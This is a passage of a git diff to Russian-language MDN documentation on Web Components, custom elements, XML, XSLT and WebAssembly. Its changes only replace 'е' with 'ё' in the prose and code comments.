<a href="https://wiki.developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes">Классы</a>).</li> - <li>Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определен, класс или функцию, в которых указана его функциональность, и, необязательно, от какого элемента он наследуется.</li> + <li>Зарегистрируйте свой новый настраиваемый элемент с помощью метода {{domxref("CustomElementRegistry.define()")}}, передав ему имя элемента, который будет определён, класс или функцию, в которых указана его функциональность, и, необязательно, от какого элемента он наследуется.</li> <li>При необходимости прикрепите теневую DOM к настраиваемому элементу с помощью метода {{domxref("Element.attachShadow()")}}. Добавьте дочерние элементы, обработчики событий и т.д. в теневой DOM, используя обычные методы DOM.</li> <li>При необходимости определите HTML template, используя {{htmlelement("template")}} и {{htmlelement("slot")}}. Снова используйте обычные методы DOM, чтобы клонировать шаблон и прикрепить его к вашей теневой DOM.</li> <li>Используйте свой настраиваемый элемент везде, где хотите, на своей странице, как и любой обычный элемент HTML.</li> @@ -50,7 +50,7 @@ translation_of: Web/Web_Components <dt>{{domxref("Window.customElements")}}</dt> <dd>Возвращает ссылку на объект <code>CustomElementRegistry</code>.</dd> <dt><a href="/ru/docs/Web/Web_Components/Using_custom_elements#Использование_lifecycle_callbacks">Обратные вызовы жизненного цикла</a></dt> - <dd>Специальные колбэк-функции, определенные внутри определения класса настраиваемого элемента, которые влияют на его поведение: + <dd>Специальные колбэк-функции, определённые внутри определения класса настраиваемого элемента, которые влияют на его поведение: <ul> <li><code>connectedCallback</code>: вызывается, когда настраиваемый элемент впервые подключается к DOM документа.</li> <li><code>disconnectedCallback</code>: вызывается, когда пользовательский элемент отключается от DOM документа.</li> @@ -62,13 +62,13 @@ translation_of: Web/Web_Components <dd> <ul> <li>Глобальный атрибут HTML {{htmlattrxref("is")}}: позволяет указать, что стандартный элемент HTML должен вести себя как зарегистрированный встроенный пользовательский элемент.</li> - <li>Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведет себя как заданный зарегистрированный настраиваемый встроенный элемент.</li> + <li>Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведёт себя как заданный зарегистрированный настраиваемый встроенный элемент.</li> </ul> </dd> <dt>Псевдоклассы CSS</dt> <dd>Псевдоклассы, относящиеся конкретно к настраиваемым элементам: <ul> - <li>{{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определенные с помощью <code>CustomElementRegistry.define()</code>.</li> + <li>{{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определённые с помощью <code>CustomElementRegistry.define()</code>.</li> <li>{{cssxref(":host")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневого DOM</a>, содержащего CSS, внутри которого он используется.</li> <li>{{cssxref(":host()")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневой DOM</a>, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с теневым хостом.</li> <li>{{cssxref(":host-context()")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневой DOM</a>, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с предком(-ами) теневого хоста в том месте, где он находится внутри иерархии DOM.</li> @@ -93,14 +93,14 @@ translation_of: Web/Web_Components <dd>Расширения интерфейса <code>Element</code>, связанные с теневой DOM: <ul> <li>Метод {{domxref("Element.attachShadow()")}} прикрепляет теневое дерево DOM к указанному элементу.</li> - <li>Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикрепленный к указанному элементу, или значение <code>null</code>, если корневой узел не прикреплен.</li> + <li>Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикреплённый к указанному элементу, или значение <code>null</code>, если корневой узел не прикреплен.</li> </ul> </dd> <dt>Соответствующие дополнения {{domxref("Node")}}</dt> <dd>Дополнения к интерфейсу <code>Node</code>, относящиеся к теневой DOM: <ul> <li>Метод {{domxref("Node.getRootNode()")}} возвращает корень объекта контекста, который необязательно включает теневой корневой узел, если он доступен.</li> - <li>Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключен ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.</li> + <li>Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключён ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.</li> </ul> </dd> <dt>Расширения {{domxref("Event")}}</dt> @@ -126,7 +126,7 @@ translation_of: Web/Web_Components <dt>{{domxref("Element")}} extensions</dt> <dd>Расширения интерфейса <code>Element</code>, относящиеся к слотам: <ul> - <li>{{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикрепленного к элементу.</li> + <li>{{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикреплённого к элементу.</li> </ul> </dd> <dt>Псевдоэлементы CSS</dt> @@ -141,7 +141,7 @@ translation_of: Web/Web_Components <h2 id="Примеры">Примеры</h2> -<p>Мы создаем ряд примеров в репозитории GitHub с <a href="https://github.com/mdn/web-components-examples">примерами веб-компонентов</a>. Со временем будет добавлено больше.</p> +<p>Мы создаём ряд примеров в репозитории GitHub с <a href="https://github.com/mdn/web-components-examples">примерами веб-компонентов</a>. Со временем будет добавлено больше.</p> <h2 id="Спецификации">Спецификации</h2> @@ -190,13 +190,13 @@ translation_of: Web/Web_Components <li>Edge работает над реализацией.</li> </ul> -<p>Для получения подробной информации о поддержке определенных функций браузером обратитесь к перечисленным выше справочным страницам.</p> +<p>Для получения подробной информации о поддержке определённых функций браузером обратитесь к перечисленным выше справочным страницам.</p> <h2 id="Смотрите_также">Смотрите также</h2> <ul> <li><a href="https://www.webcomponents.org/">webcomponents.org</a> - сайт с примерами веб-компонентов, учебными пособиями и другой информацией.</li> - <li><a href="https://fast.design/" rel="noopener">FAST</a> - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-element" rel="noopener">Fast Element</a> - это легкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-foundation" rel="noopener">Fast Foundation</a> - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.</li> + <li><a href="https://fast.design/" rel="noopener">FAST</a> - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-element" rel="noopener">Fast Element</a> - это лёгкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-foundation" rel="noopener">Fast Foundation</a> - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.</li> <li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> - библиотека веб-компонентов с открытым исходным кодом, которая предпочитает простые объекты и чистые функции <code>class</code> и <code>this</code> синтаксису. Он предоставляет простой и функциональный API для создания пользовательских элементов.</li> <li><a href="https://www.polymer-project.org/">Polymer</a> - каркас веб-компонентов Google - набор полифилов, улучшений и примеров. На данный момент самый простой способ кроссбраузерно использовать веб-компоненты.</li> <li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi</a> - Простые веб-компоненты размером ~ 1 КБ, <em>включая полифил</em> - Все, что вам нужно, это браузер и базовое понимание классов HTML, CSS и JavaScript для продуктивной работы.</li> diff --git a/files/ru/web/web_components/using_custom_elements/index.html b/files/ru/web/web_components/using_custom_elements/index.html index 01d37d7fe9..d387daf26a 100644 --- a/files/ru/web/web_components/using_custom_elements/index.html +++ b/files/ru/web/web_components/using_custom_elements/index.html @@ -43,7 +43,7 @@ original_slug: Web/Web_Components/Использование_пользоват } }</pre> -<p>Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определенные моменты жизненного цикла элемента. Например, <code>connectedCallback</code> будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а <code>attributeChangedCallback</code> вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то атрибут.</p> +<p>Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определённые моменты жизненного цикла элемента. Например, <code>connectedCallback</code> будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а <code>attributeChangedCallback</code> вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то атрибут.</p> <p>Подробнее об этом в секции {{anch("Using the lifecycle callbacks")}} ниже.</p> @@ -56,7 +56,7 @@ original_slug: Web/Web_Components/Использование_пользоват <h2 id="Разбор_простых_примеров">Разбор простых примеров</h2> -<p>А сейчас давайте разберем еще несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.</p> +<p>А сейчас давайте разберём ещё несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.</p> <h3 id="Автономные_пользовательские_элементы">Автономные пользовательские элементы</h3> @@ -77,7 +77,7 @@ original_slug: Web/Web_Components/Использование_пользоват <p>В этом фрагменте кода содержится определение конструктора {{jsxref("Classes.constructor","constructor")}} класса, которое всегда начинается с вызова <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></code> чтобы отработала цепочка прототипного наследования.</p> -<p>Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определенную структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.</p> +<p>Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определённую структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.</p> <pre class="brush: js">// Создание shadow root var shadow = this.attachShadow({mode: 'open'}); @@ -91,7 +91,7 @@ icon.setAttribute('tabindex', 0); var info = document.createElement('span'); info.setAttribute('class','info'); -// Берем содержимое атрибута и добавляем его в span +// Берём содержимое атрибута и добавляем его в span var text = this.getAttribute('text'); info.textContent = text; @@ -106,7 +106,7 @@ var img = document.createElement('img'); img.src = imgUrl; icon.appendChild(img); -// Создаем CSS для shadow dom +// Создаём CSS для shadow dom var style = document.createElement('style'); style.textContent = '.wrapper {' + @@ -119,7 +119,7 @@ shadow.appendChild(wrapper); wrapper.appendChild(icon); wrapper.appendChild(info);</pre> -<p>Наконец, регистрируем пользовательский элемент в <code>CustomElementRegistry</code> с помощью метода <code>define()</code>, который упоминался ранее — в качестве параметров мы передаем ему имя элемента и имя класса, который содержит его функциональность:</p> +<p>Наконец, регистрируем пользовательский элемент в <code>CustomElementRegistry</code> с помощью метода <code>define()</code>, который упоминался ранее — в качестве параметров мы передаём ему имя элемента и имя класса, который содержит его функциональность:</p> <pre class="brush: js">customElements.define('popup-info', PopUpInfo);</pre> @@ -164,7 +164,7 @@ wrapper.appendChild(info);</pre> </ul></pre> -<p>Вы задаете элемент <code><ul></code> как обычно, но указываете имя модифицированного элемента в атрибуте <code>is</code>.</p> +<p>Вы задаёте элемент <code><ul></code> как обычно, но указываете имя модифицированного элемента в атрибуте <code>is</code>.</p> <div class="note"> <p><strong>Замечание</strong>: Полный <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">исходный код на JavaScript</a> доступен здесь.</p> @@ -177,7 +177,7 @@ wrapper.appendChild(info);</pre> <ul> <li><code>connectedCallback</code>: Срабатывает, когда пользовательский элемент впервые добавляется в DOM.</li> <li><code>disconnectedCallback</code>: Срабатывает, когда пользовательский элемент удаляется из DOM.</li> - <li><code>adoptedCallback</code>: Срабатывает, когда пользовательский элемент перемещен в новый документ.</li> + <li><code>adoptedCallback</code>: Срабатывает, когда пользовательский элемент перемещён в новый документ.</li> <li><code>attributeChangedCallback</code>: Срабатывает, когда пользовательскому элементу добавляют, удаляют или изменяют атрибут.</li> </ul> @@ -216,14 +216,14 @@ shadow.appendChild(div);</pre> updateStyle(this); }</pre> -<p>колбэки <code>disconnectedCallback()</code> и <code>adoptedCallback()</code> логируют простые сообщения на консоль, которые уведомляют нас, что элемент удален из DOM или перемещен на другую страницу:</p> +<p>колбэки <code>disconnectedCallback()</code> и <code>adoptedCallback()</code> логируют простые сообщения на консоль, которые уведомляют нас, что элемент удалён из DOM или перемещён на другую страницу:</p> <pre class="brush: js">disconnectedCallback() { console.log('Пользовательский элемент квадрат удален.'); } adoptedCallback() { - console.log('Пользовательский элемент квадрат перемещен на другую страницу.'); + console.log('Пользовательский элемент квадрат перемещён на другую страницу.'); }</pre> <p>Колбэк <code>attributeChangedCallback()</code> запускается когда один из атрибутов элемента меняется. Как видно из его свойств, можно воздействовать на индивидуальные атрибуты, глядя на их имена, и новые и старые значения атрибутов. В данном случае, однако, мы просто снова запускаем функцию <code>updateStyle()</code> чтобы убедиться, что атрибуты квадрата получили новые значения:</p> diff --git a/files/ru/web/xml/xml_introduction/index.html b/files/ru/web/xml/xml_introduction/index.html index ef5b2732a9..f97db1f1cd 100644 --- a/files/ru/web/xml/xml_introduction/index.html +++ b/files/ru/web/xml/xml_introduction/index.html @@ -7,7 +7,7 @@ tags: - XML translation_of: Web/XML/XML_introduction --- -<p><span class="seoSummary">XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества <a class="external" href="https://www.w3.org">W3C</a> в качестве языка разметки общего назначения (</span><a href="https://www.w3.org/TR/xml/">W3C recommended</a><span class="seoSummary">). В отличии от остальных языков разметки, XML сам по себе не определен (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.</span></p> +<p><span class="seoSummary">XML - это язык разметки подобный HTML. Расшифровывается как (англ. Extensible Markup Language - Расширяемый Язык Разметки) и является рекомендацией сообщества <a class="external" href="https://www.w3.org">W3C</a> в качестве языка разметки общего назначения (</span><a href="https://www.w3.org/TR/xml/">W3C recommended</a><span class="seoSummary">). В отличии от остальных языков разметки, XML сам по себе не определён (это означает, что вы должны сами определять используемые теги). Основной целью XML является передача данных между разными системами (даже концептуально разными), такими как интернет.</span></p> <p>Много языков базируются на XML; Некоторые примеры: <a href="/ru/docs/Словарь/XHTML" title="ru/XHTML">XHTML</a>, <a href="/ru/docs/Web/MathML" title="ru/MathML">MathML</a>, <a href="/ru/docs/Web/SVG" title="ru/SVG">SVG</a>, <a href="/ru/docs/Mozilla/Tech/XUL" title="ru/XUL">XUL</a>, <a href="/en-US/docs/Mozilla/Tech/XBL" title="en/XBL">XBL</a>, <a href="/en-US/docs/Web/RSS" title="en/RSS">RSS</a>, и <a href="/ru/docs/RDF" title="ru/RDF">RDF</a>. Вы можете создать свой.</p> @@ -49,7 +49,7 @@ translation_of: Web/XML/XML_introduction </message> </pre> -<p> Документ содержащий неопределенный тег является не корректным. Например, если мы не определили тег <code><warning></code>, документ не корректен.</p> +<p> Документ содержащий неопределённый тег является не корректным. Например, если мы не определили тег <code><warning></code>, документ не корректен.</p> <div class="note"> <p>В большинство браузеров встроен дебаггер, который может идентифицировать плохо написанный XML документ.</p> @@ -100,7 +100,7 @@ translation_of: Web/XML/XML_introduction <pre><?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE body [ - <!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте еще раз."> + <!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте ещё раз."> ]> <body> <message> &warning; </message> @@ -123,7 +123,7 @@ translation_of: Web/XML/XML_introduction <h2 id="Recommendations" name="Recommendations">Рекомендации</h2> -<p>Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам придется искать информацию и более информативные статьи в интернете.</p> +<p>Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам придётся искать информацию и более информативные статьи в интернете.</p> <p>Изучайте <a href="/ru/docs/Web/HTML" title="ru/HTML">HTML</a> (англ. HyperText Markup Language), знание HTML поможет вам лучше понять XML.</p> diff --git a/files/ru/web/xslt/index.html b/files/ru/web/xslt/index.html index 9c1d10b3d7..a9cab24eb1 100644 --- a/files/ru/web/xslt/index.html +++ b/files/ru/web/xslt/index.html @@ -10,7 +10,7 @@ translation_of: Web/XSLT <p> </p> -<p>Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создается на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как <a href="/ru/docs/Web/HTML">HTML</a> или простой текст.</p> +<p>Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создаётся на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как <a href="/ru/docs/Web/HTML">HTML</a> или простой текст.</p> <p>XSLT чаще всего используется для преобразования данных между различными схемами XML или для преобразования данных XML в веб-страницы или документы PDF.</p> diff --git a/files/ru/webassembly/c_to_wasm/index.html b/files/ru/webassembly/c_to_wasm/index.html index 7f47e01433..06a835effe 100644 --- a/files/ru/webassembly/c_to_wasm/index.html +++ b/files/ru/webassembly/c_to_wasm/index.html @@ -47,7 +47,7 @@ int main(int argc, char ** argv) { <p>Рассмотрим параметры, которые мы передали компилятору:</p> <ul> - <li><code>-s WASM=1</code> — Указывает, что мы хотим получить wasm модуль. Если не использовать этот параметр, по умолчанию Emscripten просто создает <a href="http://asmjs.org/">asm.js</a>;</li> + <li><code>-s WASM=1</code> — Указывает, что мы хотим получить wasm модуль. Если не использовать этот параметр, по умолчанию Emscripten просто создаёт <a href="http://asmjs.org/">asm.js</a>;</li> <li><code>-o hello.html</code> — Указывает, что мы хотим, чтобы Emscripten сгенерировал HTML-страницу <code>hello.html</code> запускающую наш код, а также сам модуль wasm и код JavaScript который позволит использовать модуль в веб-среде.</li> </ul> @@ -61,9 +61,9 @@ int main(int argc, char ** argv) { <h3 id="Запуск_вашего_примера">Запуск вашего примера</h3> -<p>Теперь, все что нужно чтобы запустить полученный <code>hello.html</code> в браузере, это поддержка WebAssembly. Он включен по умолчанию в Firefox 52+, Chrome 57+ и последних версиях Opera. Также вы можете использовать модули WebAssembly в Firefox 47+, включив флаг <code>javascript.options.wasm</code> в <em>about:config</em>, или в Chrome 51+ и Opera 38+ перейдя в <em>chrome://flags</em> и включив флаг <em>Experimental WebAssembly.</em></p> +<p>Теперь, все что нужно чтобы запустить полученный <code>hello.html</code> в браузере, это поддержка WebAssembly. Он включён по умолчанию в Firefox 52+, Chrome 57+ и последних версиях Opera. Также вы можете использовать модули WebAssembly в Firefox 47+, включив флаг <code>javascript.options.wasm</code> в <em>about:config</em>, или в Chrome 51+ и Opera 38+ перейдя в <em>chrome://flags</em> и включив флаг <em>Experimental WebAssembly.</em></p> -<p>Если все работает как планировалось, вы должны увидеть надпись "Hello world" на открывшейся веб-странице и в JavaScript консоли вашего браузера. Поздравляем, вы только что скомпилировали программу на Си в WebAssembly и запустили ее в своем браузере!</p> +<p>Если все работает как планировалось, вы должны увидеть надпись "Hello world" на открывшейся веб-странице и в JavaScript консоли вашего браузера. Поздравляем, вы только что скомпилировали программу на Си в WebAssembly и запустили её в своём браузере!</p> <div class="note"> <p><strong>Примечание</strong>: На самом деле, если просто открыть полученный <code>hello.html</code>, то ничего работать не будет. Подразумевается что все файлы находятся на веб-сервере и вы запускаете страницу через <code>localhost/hello.html</code>. Для этих целей можно использовать отладочный веб-сервер Emscripten. Чтобы его запустить, откройте терминал, перейдите в каталог, в котором находятся ваши файлы и выполните команду <code>emrun hello.html</code></p> @@ -100,7 +100,7 @@ int main(int argc, char ** argv) { </ul> </li> <li> - <p>Теперь давайте запустим этот пример. Команда, указанная выше, сгенерирует файл <code>hello2.html</code>, который будет иметь тоже содержание что и шаблон, но с некоторым кодом, добавленным в процесс загрузки сгенерированного wasm, запускающим его и т.д. Откройте его в своем браузере, и вы увидите тот же результат, что и прошлом примере.</p> + <p>Теперь давайте запустим этот пример. Команда, указанная выше, сгенерирует файл <code>hello2.html</code>, который будет иметь тоже содержание что и шаблон, но с некоторым кодом, добавленным в процесс загрузки сгенерированного wasm, запускающим его и т.д. Откройте его в своём браузере, и вы увидите тот же результат, что и прошлом примере.</p> </li> </ol> @@ -108,9 +108,9 @@ int main(int argc, char ** argv) { <p><strong>Примечание</strong>: Вы можете указать компилятору создавать только JavaScript кода, без HTML, используя внутри флага <code>-o</code>, <code>.js</code> вместо <code>.html</code> для формата выходного файла, например <code>emcc -o hello2.js hello2.c -O3 -s WASM=1</code>. После этого вы должны создать свой собственный HTML файл с нуля. Однако так делать не рекомендуется — Emscripten требуется большое количество связывающего кода для обработки операций выделения памяти, утечек памяти и других проблем, которые уже включены в предоставляемый шаблон. Намного легче использовать уже готовое решение, чем создавать свои собственные версии самому.</p> </div> -<h3 id="Вызов_пользовательской_функции_определенной_в_Си">Вызов пользовательской функции, определенной в Си</h3> +<h3 id="Вызов_пользовательской_функции_определённой_в_Си">Вызов пользовательской функции, определённой в Си</h3> -<p>Если у вас есть функция определенная в коде на Си, которую вы хотите по необходимости вызывать из JavaScript, то вы можете использовать для этого функцию <code>ccall()</code> из Emscripten, и объявление <code>EMSCRIPTEN_KEEPALIVE</code> которое добавит вашу функцию в список экспортируемых функций (см. <a href="https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process">Почему функции в моем коде исчезают после компиляции и/или я получаю сообщение «Нет функций для обработки»</a>). Давайте посмотрим, как это работает.</p> +<p>Если у вас есть функция определённая в коде на Си, которую вы хотите по необходимости вызывать из JavaScript, то вы можете использовать для этого функцию <code>ccall()</code> из Emscripten, и объявление <code>EMSCRIPTEN_KEEPALIVE</code> которое добавит вашу функцию в список экспортируемых функций (см. <a href="https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process">Почему функции в моем коде исчезают после компиляции и/или я получаю сообщение «Нет функций для обработки»</a>). Давайте посмотрим, как это работает.</p> <ol> <li> @@ -138,19 +138,19 @@ void EMSCRIPTEN_KEEPALIVE myFunction(int argc, char ** argv) { <p>По умолчанию, код созданный Emscripten, всегда просто вызывает функцию <code>main()</code> , а остальные неиспользуемые функции удаляются. Добавьте определение <code>EMSCRIPTEN_KEEPALIVE</code> перед именем функции чтобы этого не происходило. Также вы должны подключить библиотеку <code>emscripten.h</code> для использования <code>EMSCRIPTEN_KEEPALIVE</code>.</p> <div class="note"> - <p><strong>Примечание</strong>: Мы используем блоки <code>#ifdef</code> чтобы, пример оставался рабочим если вы попытаетесь использовать C++ код. Из за различия в правилах преобразования имен между Си и Си++, этот код может сломаться, но мы написали его так, что функция будет рассматриваться как функция Си даже если вы будете использовать Си++.</p> + <p><strong>Примечание</strong>: Мы используем блоки <code>#ifdef</code> чтобы, пример оставался рабочим если вы попытаетесь использовать C++ код. Из за различия в правилах преобразования имён между Си и Си++, этот код может сломаться, но мы написали его так, что функция будет рассматриваться как функция Си даже если вы будете использовать Си++.</p> </div> </li> <li> - <p>Теперь добавьте <code>html_template/shell_minimal.html</code> в ваш новый каталог, просто для удобства. В настоящем проекте стоит размещать его в специально определенный каталог.</p> + <p>Теперь добавьте <code>html_template/shell_minimal.html</code> в ваш новый каталог, просто для удобства. В настоящем проекте стоит размещать его в специально определённый каталог.</p> </li> <li> - <p>Теперь снова займемся этапом компиляции. Внутри вашего последнего каталога, используя терминал, скомпилируйте ваш Си код следующей командой. (Обратите внимание что при компиляции обязательно нужно использовать опцию NO_EXIT_RUNTIME, иначе после выполнения функции <code>main()</code>, рабочий цикл будет завершен. Это приведет, например, к вызову функции atexits и дальше будет невозможно использовать наш скомпилированный код. Другими словами это необходимо для правильной эмуляции Си.)</p> + <p>Теперь снова займёмся этапом компиляции. Внутри вашего последнего каталога, используя терминал, скомпилируйте ваш Си код следующей командой. (Обратите внимание что при компиляции обязательно нужно использовать опцию NO_EXIT_RUNTIME, иначе после выполнения функции <code>main()</code>, рабочий цикл будет завершён. Это приведёт, например, к вызову функции atexits и дальше будет невозможно использовать наш скомпилированный код. Другими словами это необходимо для правильной эмуляции Си.)</p> <pre class="brush: bash">emcc -o hello3.html hello3.c -O3 -s WASM=1 --shell-file html_template/shell_minimal.html -s NO_EXIT_RUNTIME=1 -s EXTRA_EXPORTED_RUNTIME_METHODS='["ccall"]'</pre> </li> <li> - <p>Если вы снова запустите пример в своем браузере, вы увидите тоже самое что и до этого!</p> + <p>Если вы снова запустите пример в своём браузере, вы увидите тоже самое что и до этого!</p> </li> <li> <p>Теперь нам нужно вызвать нашу новую функцию <code>myFunction()</code> из JavaScript. Прежде всего, добавьте {{htmlelement("button")}} как показано ниже, чуть выше первого открывающего тега <code><script type='text/javascript'></code>.</p> diff --git a/files/ru/webassembly/concepts/index.html b/files/ru/webassembly/concepts/index.html index dde3fc40a4..2f1caad232 100644 --- a/files/ru/webassembly/concepts/index.html +++ b/files/ru/webassembly/concepts/index.html @@ -5,7 +5,7 @@ translation_of: WebAssembly/Concepts --- <div>{{WebAssemblySidebar}}</div> -<p class="summary">В этой статье объясняются концепции, лежащие в основе работы технологии WebAssembly, включая ее цели, проблемы, которые она решает, и то, как она работает в движке рендеринга веб-браузера.</p> +<p class="summary">В этой статье объясняются концепции, лежащие в основе работы технологии WebAssembly, включая её цели, проблемы, которые она решает, и то, как она работает в движке рендеринга веб-браузера.</p> <h2 id="Что_такое_WebAssembly">Что такое WebAssembly?</h2> @@ -17,11 +17,11 @@ translation_of: WebAssembly/Concepts <h2 id="Цели_WebAssembly">Цели WebAssembly</h2> -<p>Технология WebAssembly создается как открытый стандарт внутри <a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a> со следующими целями:</p> +<p>Технология WebAssembly создаётся как открытый стандарт внутри <a href="https://www.w3.org/community/webassembly/">W3C WebAssembly Community Group</a> со следующими целями:</p> <ul> <li>Быть быстрым, эффективным и переносимым - код WebAssembly может выполняться практически на естественной скорости на разных платформах, используя преимущества <a href="http://webassembly.org/docs/portability/#assumptions-for-efficient-execution">аппаратных возможностей</a>.</li> - <li>Быть читаемым и отлаживаемым - WebAssembly - это низкоуровневый ассемблерный язык, но он имеет читабельный текстовый формат (спецификация для которого еще дорабатывается), который позволяет писать, просматривать и отлаживать код вручную. </li> + <li>Быть читаемым и отлаживаемым - WebAssembly - это низкоуровневый ассемблерный язык, но он имеет читабельный текстовый формат (спецификация для которого ещё дорабатывается), который позволяет писать, просматривать и отлаживать код вручную. </li> <li>Поддерживать безопасность - код WebAssembly предназначен для запуска в безопасной, изолированной среде выполнения. Как и другой веб-код, он будет соблюдать политики безопасности браузера.</li> <li>Не разрушать текущий веб - технология WebAssembly разработана так, что она прекрасно сочетается с другими веб-технологиями и поддерживает обратную совместимость.</li> </ul> @@ -41,7 +41,7 @@ translation_of: WebAssembly/Concepts <p>Исторически ВМ могла загружать только JavaScript. Раньше нас это вполне устраивало, поскольку JavaScript достаточно мощный, чтобы решать большинство проблем, с которыми мы сталкивались в интернете. Однако мы столкнулись с проблемами производительности, когда попытались использовать JavaScript для более нагруженных сценариев использования, таких как 3D-игры, виртуальная и дополненная реальность, компьютерное зрение, редактирование изображений / видео и в ряде других применений, которые требуют повышенной производительности (см. <a href="http://webassembly.org/docs/use-cases/">варианты использования WebAssembly</a> где описано больше идей).</p> -<p>Кроме того, длительность загрузки, анализа и компиляции очень больших приложений JavaScript может быть непомерно высокой. Мобильные и другие ограниченные в ресурсах платформы могут еще более понизить производительность.</p> +<p>Кроме того, длительность загрузки, анализа и компиляции очень больших приложений JavaScript может быть непомерно высокой. Мобильные и другие ограниченные в ресурсах платформы могут ещё более понизить производительность.</p> <p>Язык WebAssembly отличается от языка JavaScript, но он не предназначен для его замены. Он предназначен для дополнения и работы вместе с JavaScript, что позволяет веб-разработчикам использовать преимущества обоих языков:</p> @@ -59,19 +59,19 @@ translation_of: WebAssembly/Concepts <p>Есть несколько ключевых понятий, необходимых для понимания того, как WebAssembly работает в браузере. Все эти понятия отражены 1:1 в <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly JavaScript API</a>.</p> <ul> - <li><strong>Модуль</strong>: Представляет двоичный файл WebAssembly, который был скомпилирован браузером в исполняемый машинный код. Модуль не имеет состояния и, таким образом, как <a href="/en-US/docs/Web/API/Blob">Blob</a>, может быть явным образом разделен между windows и workers (через <code><a href="/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>). В модуле есть объявление импорта и экспорта точно такое же, как и в модуле ES2015.</li> + <li><strong>Модуль</strong>: Представляет двоичный файл WebAssembly, который был скомпилирован браузером в исполняемый машинный код. Модуль не имеет состояния и, таким образом, как <a 